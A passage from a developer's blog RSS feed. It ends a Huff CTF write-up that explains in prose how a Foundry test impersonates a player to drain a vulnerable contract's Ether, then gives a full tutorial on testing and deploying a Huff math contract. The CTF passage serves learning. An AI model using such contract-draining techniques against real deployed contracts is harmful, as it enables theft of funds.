</code></pre><p>In the <code>setUp()</code> function, the vulnerable contract is deployed and an initial deposit of 0.1 Ether has been made.</p><p>In the <code>testExploit()</code> function, exploit is carried out. The <code>vm.deal(playerAddress, 1 ether);</code> line provides the exploiter with 1 Ether. Then <code>vm.startPrank()</code> is used to impersonate the player address, execute the exploit, and then stop the impersonation.</p><p>Finally, assert that the vulnerable contract&apos;s balance is now 0, and the player&apos;s balance has increased by 1.1 Ether, thereby validating the success of the exploit.</p><p><strong>Link to the Challenge:</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/huff_language/status/1560750533811376128">https://twitter.com/huff_language/status/1560750533811376128</a></p><p><strong>GitHub link to the PoC:</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge/challenge3">https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge/challenge3</a></p>]]></content:encoded>
            <author>praneshasp@newsletter.paragraph.com (PraneshASP ⚡)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/fc7b86a1ab17461e67f4c7dd7ba84b03f014db7d9adb4dc95d4d01534af5a6b9.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Testing and deploying Huff contracts]]></title>
            <link>https://paragraph.com/@praneshasp/testing-and-deploying-huff-contracts</link>
            <guid>Gg0q4AHZbev2sSbXn8JM</guid>
            <pubDate>Sat, 11 Feb 2023 20:42:17 GMT</pubDate>
            <description><![CDATA[In this post, we will dive into the steps involved in testing and deploying a smart-contract written using the Huff programming language. For those who don’t know:Huff is a low-level programming language designed for developing highly optimized smart contracts that run on the Ethereum Virtual Machine (EVM). Huff does not hide the inner workings of the EVM and instead exposes its programming stack to the developer for manual manipulation. The Aztec Protocol team originally created Huff to writ...]]></description>
            <content:encoded><![CDATA[<p>In this post, we will dive into the steps involved in testing and deploying a smart-contract written using the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.huff.sh">Huff programming</a> language.</p><p>For those who don’t know:</p><blockquote><p><em>Huff is a low-level programming language designed for developing highly optimized smart contracts that run on the Ethereum Virtual Machine (EVM). Huff does not hide the inner workings of the EVM and instead exposes its programming stack to the developer for manual manipulation.</em></p><p><em>The </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://aztec.network/"><em>Aztec Protocol</em></a><em> team originally created Huff to write </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/aztecprotocol/weierstrudel/tree/master/huff_modules"><em>Weierstrudel</em></a><em>, an on-chain elliptical curve arithmetic library that requires incredibly optimized code that neither </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/"><em>Solidity</em></a><em> nor </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/latest/yul.html"><em>Yul</em></a><em> could provide.</em></p></blockquote><p>Note that this post is neither an introduction to Huff nor a step-by-step tutorial.This post aims to help the beginners to quickly get started with testing and deployment of their Huff contracts. If you are new to Huff, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.youtube.com/watch?v=Rfaabjj7n9k">this video</a> by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/devtooligan">devtooligan</a> is a great resource. Also feel free to explore the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.huff.sh">official documentation of Huff</a> at your own pace.</p><h3 id="h-the-math-contract" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Math Contract:</h3><p>We are going to use a simple huff contract that performs basic math operations like add, subtract, multiply, etc.,</p><p>Note that the code below is not a complete Huff contract. It just contains the logic. The function dispatcher and other parts are contained in the wrapper. You can view the wrapper <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/PraneshASP/huff-math/blob/main/src/wrappers/MathWrapper.huff">here</a>.</p><pre data-type="codeBlock" text="#define macro ADD_NUMBERS() = takes (2) returns (1) {
    // Input stack:      // [num2, num1]
    add                  // [num2 + num1]         
}

#define macro SUB_NUMBERS() = takes (2) returns (1) {
    // Input stack:      // [num2, num1]
    swap1                // [num1, num2]
    sub                  // [num1 - num2]         
}


#define macro MULTIPLY_NUMBERS() = takes (2) returns (1) {
    // Input stack:      // [num2, num1]
    mul                  // [num2 * num1]         
}

#define macro DIVIDE_NUMBERS() = takes (2) returns (1) {
    // Input stack:      // [num2, num1]
    swap1                // [num1, num2]
    div                  // [num1 / num2]         
}


#define macro ABS() = takes (2) returns (1) {
    // Input stack:     // [num2, num1]
    dup1
    dup3
    lt 
    iszero swapAndSubtract jumpi
    sub                      
    complete jump  

    swapAndSubtract:
        swap1
        sub
    
    complete:
}
"><code><span class="hljs-selector-id">#define</span> macro <span class="hljs-built_in">ADD_NUMBERS</span>() = takes (<span class="hljs-number">2</span>) returns (<span class="hljs-number">1</span>) {
    <span class="hljs-comment">// Input stack:      // [num2, num1]</span>
    add                  <span class="hljs-comment">// [num2 + num1]         </span>
}

<span class="hljs-selector-id">#define</span> macro <span class="hljs-built_in">SUB_NUMBERS</span>() = takes (<span class="hljs-number">2</span>) returns (<span class="hljs-number">1</span>) {
    <span class="hljs-comment">// Input stack:      // [num2, num1]</span>
    swap1                <span class="hljs-comment">// [num1, num2]</span>
    sub                  <span class="hljs-comment">// [num1 - num2]         </span>
}


<span class="hljs-selector-id">#define</span> macro <span class="hljs-built_in">MULTIPLY_NUMBERS</span>() = takes (<span class="hljs-number">2</span>) returns (<span class="hljs-number">1</span>) {
    <span class="hljs-comment">// Input stack:      // [num2, num1]</span>
    mul                  <span class="hljs-comment">// [num2 * num1]         </span>
}

<span class="hljs-selector-id">#define</span> macro <span class="hljs-built_in">DIVIDE_NUMBERS</span>() = takes (<span class="hljs-number">2</span>) returns (<span class="hljs-number">1</span>) {
    <span class="hljs-comment">// Input stack:      // [num2, num1]</span>
    swap1                <span class="hljs-comment">// [num1, num2]</span>
    <span class="hljs-selector-tag">div</span>                  <span class="hljs-comment">// [num1 / num2]         </span>
}


<span class="hljs-selector-id">#define</span> macro <span class="hljs-built_in">ABS</span>() = takes (<span class="hljs-number">2</span>) returns (<span class="hljs-number">1</span>) {
    <span class="hljs-comment">// Input stack:     // [num2, num1]</span>
    dup1
    dup3
    lt 
    iszero swapAndSubtract jumpi
    sub                      
    complete jump  

    swapAndSubtract:
        swap1
        sub
    
    complete:
}
</code></pre><p><em>The above implementation is very basic and as always there is a plenty of room for improvements. But that’s a topic for another day.</em></p><h2 id="h-testing-the-contract" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Testing the contract:</h2><p>We can test the above contract in 2 ways.</p><h3 id="h-using-foundry" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Using Foundry:</h3><p>To test the above logic using foundry, we need to deploy the wrapper contract since it is the one that exposes the functions. Also we need to use <code>HuffDeployer</code> helper contract from the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/huff-language/foundry-huff">foundry-huff</a> library.</p><p>Here’s how the tests should be setup:</p><ul><li><p>Define the interface of the contract (<code>IMath</code>).</p></li><li><p>Deploy the wrapper contract (in the <code>setUp()</code>method) using the <code>HuffDeployer</code>.</p></li><li><p>Cast the returned address to the <code>IMath</code> interface.</p></li><li><p>Write tests as usual.</p></li></ul><pre data-type="codeBlock" text="/// Import HuffDeployer
import {HuffDeployer} from &quot;foundry-huff/HuffDeployer.sol&quot;;

contract MathTest is Test {
    IMath public math;

    function setUp() public {
        address addr = HuffDeployer.deploy(
            &quot;../test/foundry/wrappers/MathWrapper&quot;
        );
        math = IMath(addr);
    }

    function testAddNumbers() public {
        uint256 result = math.addNumbers(420, 69);
        assertEq(result, 489);
    }

    function testAddNumbers_fuzz(uint256 a, uint256 b) public {
        unchecked {
            uint256 c = a + b;

            if (c &gt; MAX) {
                vm.expectRevert();
                math.addNumbers(a, b);
                return;
            }

            uint256 result = math.addNumbers(a, b);
            assertEq(result, a + b);
        }
    }

    function testSubNumbers() public {
        uint256 result = math.subNumbers(420, 69);
        assertEq(result, 351);
    }

...
...

}
"><code><span class="hljs-comment">/// Import HuffDeployer</span>
<span class="hljs-keyword">import</span> {<span class="hljs-title">HuffDeployer</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"foundry-huff/HuffDeployer.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">MathTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    IMath <span class="hljs-keyword">public</span> math;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">address</span> addr <span class="hljs-operator">=</span> HuffDeployer.deploy(
            <span class="hljs-string">"../test/foundry/wrappers/MathWrapper"</span>
        );
        math <span class="hljs-operator">=</span> IMath(addr);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testAddNumbers</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint256</span> result <span class="hljs-operator">=</span> math.addNumbers(<span class="hljs-number">420</span>, <span class="hljs-number">69</span>);
        assertEq(result, <span class="hljs-number">489</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testAddNumbers_fuzz</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">unchecked</span> {
            <span class="hljs-keyword">uint256</span> c <span class="hljs-operator">=</span> a <span class="hljs-operator">+</span> b;

            <span class="hljs-keyword">if</span> (c <span class="hljs-operator">></span> MAX) {
                vm.expectRevert();
                math.addNumbers(a, b);
                <span class="hljs-keyword">return</span>;
            }

            <span class="hljs-keyword">uint256</span> result <span class="hljs-operator">=</span> math.addNumbers(a, b);
            assertEq(result, a <span class="hljs-operator">+</span> b);
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testSubNumbers</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint256</span> result <span class="hljs-operator">=</span> math.subNumbers(<span class="hljs-number">420</span>, <span class="hljs-number">69</span>);
        assertEq(result, <span class="hljs-number">351</span>);
    }

...
...

}
</code></pre><p>You can view all the foundry tests <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/PraneshASP/huff-math/blob/main/test/foundry/Math.t.sol">here in the repo</a>.</p><h3 id="h-huff-tests" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Huff Tests:</h3><p>Testing Huff contracts using Foundry is the most commonly used method. But we can also write simpler (and faster) unit tests using Huff itself. The huff compiler (<code>huffc</code>) has a <code>test</code> command, which takes in the filename as an argument which contains the tests. We can use the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/cheethas/huff-vrgda/blob/main/src/utils/testHelpers.huff">TestHelpers</a> util created by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/Maddiaa0">Maddiaa</a> for basic operations like <code>ASSERT</code> , etc.,</p><p>A sample Huff test contract will look like:</p><pre data-type="codeBlock" text="// ./test/huff/Math.t.huff

/* Imports */
#include &quot;./helpers/TestHelpers.huff&quot;
#include &quot;../../src/Math.huff&quot;

/* Tests */
#define test TEST_ADD() = {
    0x01                // [1]
    0x02                // [2,1]
    ADD_NUMBERS()       // [sum]
    0x03                // [3,sum]
    ASSERT_EQ()         // [3 == sum]
    
    0x4563918244f40000  // [5e18]            
    0x4563918244f40000  // [5e18, 5e18]            
    ADD_NUMBERS()       // [SUM]    
    0x8ac7230489e80000  // [10e18, SUM]             
    ASSERT_EQ()         // [10e18==SUM]     
}
...
...
"><code><span class="hljs-comment">// ./test/huff/Math.t.huff</span>

<span class="hljs-comment">/* Imports */</span>
<span class="hljs-selector-id">#include</span> "./helpers/TestHelpers<span class="hljs-selector-class">.huff</span>"
<span class="hljs-selector-id">#include</span> "../../<span class="hljs-attribute">src</span>/Math<span class="hljs-selector-class">.huff</span>"

<span class="hljs-comment">/* Tests */</span>
<span class="hljs-selector-id">#define</span> test <span class="hljs-built_in">TEST_ADD</span>() = {
    <span class="hljs-number">0</span>x01                <span class="hljs-comment">// [1]</span>
    <span class="hljs-number">0</span>x02                <span class="hljs-comment">// [2,1]</span>
    <span class="hljs-built_in">ADD_NUMBERS</span>()       <span class="hljs-comment">// [sum]</span>
    <span class="hljs-number">0</span>x03                <span class="hljs-comment">// [3,sum]</span>
    <span class="hljs-built_in">ASSERT_EQ</span>()         <span class="hljs-comment">// [3 == sum]</span>
    
    <span class="hljs-number">0</span>x4563918244f40000  <span class="hljs-comment">// [5e18]            </span>
    <span class="hljs-number">0</span>x4563918244f40000  <span class="hljs-comment">// [5e18, 5e18]            </span>
    <span class="hljs-built_in">ADD_NUMBERS</span>()       <span class="hljs-comment">// [SUM]    </span>
    <span class="hljs-number">0</span>x8ac7230489e80000  <span class="hljs-comment">// [10e18, SUM]             </span>
    <span class="hljs-built_in">ASSERT_EQ</span>()         <span class="hljs-comment">// [10e18==SUM]     </span>
}
...
...
</code></pre><blockquote><p><em>Complete test file </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/PraneshASP/huff-math/blob/main/test/huff/Math.t.huff"><em>here</em></a><em>.</em></p></blockquote><p>We can run the tests using the command:</p><p><code>$ huffc ./test/Math.t.huff test</code></p><p>The output will be something similar to the below image:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/818bf029f9e886748b0503101d2393a3c419d6ac463832b09d690d734841f9fe.png" alt="Huff Test Result" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Huff Test Result</figcaption></figure><hr><h2 id="h-deploying-huff-contracts" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Deploying Huff contracts:</h2><p>We just saw how to test Huff contracts using Foundry and Huff. Now we can move on to the next step which is deploying the Huff contract to a EVM-based blockchain (<code>Goerli</code> , in this case). Here’s the foundry script to deploy the `MathWrapper contract.</p><pre data-type="codeBlock" text="// scripts/DeployMath.s.sol

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.15;

import &quot;foundry-huff/HuffDeployer.sol&quot;;
import &quot;forge-std/Script.sol&quot;;

import {IMath} from &quot;../src/interfaces/IMath.sol&quot;;

contract Deploy is Script {
  function run() public returns (IMath math) {
    math = IMath(HuffDeployer.broadcast(&quot;wrappers/MathWrapper&quot;));
    console2.log(&quot;MathWrapper contract deployed to: &quot;, address(math));
    }
}
"><code><span class="hljs-comment">// scripts/DeployMath.s.sol</span>

<span class="hljs-comment">// SPDX-License-Identifier: Unlicense</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.15;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"foundry-huff/HuffDeployer.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;

<span class="hljs-keyword">import</span> {<span class="hljs-title">IMath</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/interfaces/IMath.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Deploy</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params">IMath math</span>) </span>{
    math <span class="hljs-operator">=</span> IMath(HuffDeployer.broadcast(<span class="hljs-string">"wrappers/MathWrapper"</span>));
    console2.log(<span class="hljs-string">"MathWrapper contract deployed to: "</span>, <span class="hljs-keyword">address</span>(math));
    }
}
</code></pre><p>The above script can be executed by running the following command:</p><pre data-type="codeBlock" text="$ source .env &amp;&amp; forge script scripts/DeployMath.s.sol:DeployMath --fork-url $RPC_URL --private-key $PRIVATE_KEY --broadcast
"><code>$ source .env <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> forge script scripts<span class="hljs-operator">/</span>DeployMath.s.sol:DeployMath <span class="hljs-operator">-</span><span class="hljs-operator">-</span>fork<span class="hljs-operator">-</span>url $RPC_URL <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PRIVATE_KEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast
</code></pre><p><em>You need to configure the</em> <code>RPC_URL</code> <em>of the network and</em> <code>PRIVATE_KEY</code> <em>of the deployer in the</em> <code>.env</code> <em>file.</em></p><p>If everything works as intended, you’ll be seeing an output something like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/dd3198a104729cbecceab16bc2bcbaaae7f5584133664141c1bb9a195c2277cd.png" alt="Deployment Result" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Deployment Result</figcaption></figure><p>To validate the deployment you can either add assertions in the script’s <code>run()</code> method or you can also implement fork tests with the deployed contract address similar to <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/PraneshASP/huff-math/blob/main/test/foundry/MathForkTest.t.sol">this one</a>. If you want to deploy contracts with arguments, you can have a look into my <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/PraneshASP/huffbound/blob/main/scripts/Deploy.s.sol">Huffbound deployment script</a>.</p><hr><p>Sweet. We have successfully tested and deployed our simple <code>Math.huff</code> contract. You can follow the same process to test and deploy more complex Huff contracts as well.</p><p><em>Here’s the link to GitHub repo:</em></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/PraneshASP/huff-math/tree/main/src">https://github.com/PraneshASP/huff-math/tree/main/src</a></p><p>Until next time 👋👋.</p>]]></content:encoded>
            <author>praneshasp@newsletter.paragraph.com (PraneshASP ⚡)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/a93e618f4a05fdb75a33af39620103101c3196592fa0b566097ced72e14fb00b.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>